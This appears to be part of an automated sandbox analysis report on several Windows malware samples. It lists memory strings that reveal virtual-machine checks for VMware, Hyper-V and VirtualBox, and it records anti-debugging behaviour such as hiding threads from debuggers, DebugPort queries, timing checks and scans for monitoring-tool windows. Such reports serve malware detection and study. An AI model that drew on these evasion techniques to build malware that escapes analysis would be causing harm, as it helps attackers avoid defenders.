Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000008.00000002.4108139417.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000008.00000002.4108139417.0000000000CE7000.00000004.00000020.00020000.00000000.sdmp, a16b294260.exe, 0000000C.00000002.1965705738.0000000000679000.00000004.00000020.00020000.00000000.sdmp, a16b294260.exe, 0000000C.00000002.1965705738.0000000000693000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareb
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: a16b294260.exe, 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: a16b294260.exe, 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: 29c55c1284.exe, 0000000D.00000002.2248431725.0000000003DA7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: KECBKKEBKE.exe, 00000006.00000003.1867001256.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a3
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1840591206.0000000001887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}2
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 8_2_04ED0C77 Start: 04ED0CD5 End: 04ED0C9A

8_2_04ED0C77

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe

Code function: 6_2_051A070B rdtsc

6_2_051A070B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C525FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C525FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C52C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C52C410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007D643B mov eax, dword ptr fs:[00000030h]		8_2_007D643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007DA1A2 mov eax, dword ptr fs:[00000030h]		8_2_007DA1A2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C4FB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C4FB1F7

